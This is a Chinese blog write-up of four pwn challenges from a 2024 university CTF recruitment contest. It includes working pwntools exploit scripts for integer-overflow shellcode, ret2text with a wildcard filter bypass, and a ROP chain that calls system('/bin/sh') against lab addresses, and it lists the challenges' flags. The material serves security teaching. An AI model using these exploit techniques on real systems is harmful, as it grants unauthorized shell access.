2024CPPUISA纳新赛Pwn-wp

Pwn

1.ezsignin

题目说明

一道简单的签到题,只要nc就可以任意命令执行

flag:SeeUCTF{Welc0me_t0_the_w0rld_of_pwn!!!}

解题思路

cat flag

2.ezshellc0de

题目说明

考察整数溢出+shellcode

flag:SeeUCTF{jjkk_sa1d_she11c0de_1s_s0_ez!!!}

解题思路

先输入负数令读入长度为大正数,然后可以直接使用 pwntools 内的 shellcraft.sh() 生成 shellcode 发送。

Exp:

from pwn import * 
p=remote('172.30.211.91',4038)
#p=process('./pwn')
p.recvuntil(':')
#gdb.attach(p)
#pause()
p.sendline(str(-1))
p.recvuntil(':')
context(arch='amd64')
p.sendline(asm(shellcraft.sh()))
p.interactive()

3.ezstackoverflow

题目说明

考察 ret2text+命令过滤

flag:SeeUCTF{Ctime_kn0w_y0u_ar4_g00d_at_st4ck0verflow!!!}

解题思路

题目过滤了'$','0','s','h','f'

可以看出不能直接提权,虽然flag的f字母被ban掉了,但是可以用通配符绕过来读取flag。

注意栈对齐。

from pwn import * 
p=remote('172.30.211.91',4039)
#p=process('./pwn')
p.recvuntil('~')
payload=b'a'*0x28+p64(0x40101a)+p64(0x4012be)
p.send(payload)
p.recvuntil('.\n')
p.send('cat ?lag\x00')
p.interactive()

4.where_is_my_binsh?

题目说明

这道题是比赛前一天临时换的,因为想着给大家有更多的方法来做这道题,于是就稍微魔改了一下,多了点利用手法。

flag:SeeUCTF{w0w_y0u_are_ThE_k1ng_Of_Pwnnnn}

解题思路

考点分为两部分,第一部分是绕过 key 并将 /bin/sh 存在 bss 段上。(字符串名也已经提示了要放点东西在里面了),

接着要绕过这个 key。

绕过 key 的方式有很多:

(1) 发现程序有格式化字符串漏洞,且 key 存储在栈上,可以通过 %p 泄露,这里的偏移应该是8,9.

(2) 发现 read(0, buf, 0x40uLL) 处存在栈溢出,可以把 buf 数组填满(具体是填满最后一个字节),从而泄露出 key。如:

It seems if you login successfully,you'll get a gift for shell.
Input your name
123456789012345678901 #这里模拟了手动nc的场景,其实还有一个换行符。
Welcome 123456789012345678901
nwlrbbmq 

(3) 理由同上,可以考虑直接把 key 覆盖为我们指定的任意字符串从而绕过。

(4) 注意到 rand() 函数,题目给出了该题的 glibc版本(其实是2.34),考虑伪随机绕过,用ctypes.CDLL("libc.so.6")

(5) 理由同上,可以先 patchelf 下发的 pwn 附件,然后在gdb动态调试直接看出来 key 就是 nwlrbbmq。

然后到了jjkk()这个函数,system看似无意义操作了,其实给了我们system函数的地址,还提示了我们有一个 secret 函数,但是 secret 函数 f5 什么也看不到,这个时候就要观察汇编了,

Secret 是一个 pop rdi;ret 的 gadget。(64位参数传递通过寄存器)

那么只要借助给的栈溢出机会调用system('/bin/sh')即可。

注意栈对齐。

Exp:

from pwn import * 
p=remote('172.30.211.91',4040)
context(log_level='debug')
p.recvuntil('name')
p.send(b'/bin/sh\x00')
p.recvuntil('key:')
p.send(b'nwlrbbmq')
p.recvuntil('u:')
bss=0x403510
rdi=0x4012a3
sys=0x4010e0
payload=b'a'*(0x30+8)+p64(rdi+1)+p64(rdi)+p64(bss)+p64(sys)
p.send(payload)
p.interactive()

题外话:如果没有存入/bin/sh的话也可以解出本题,不过需要泄露 libc 基址(ret2libc)。学有余力的同学也可以试试。

posted @ 2024-11-25 14:56  Sevedy  阅读(3)  评论(0编辑  收藏  举报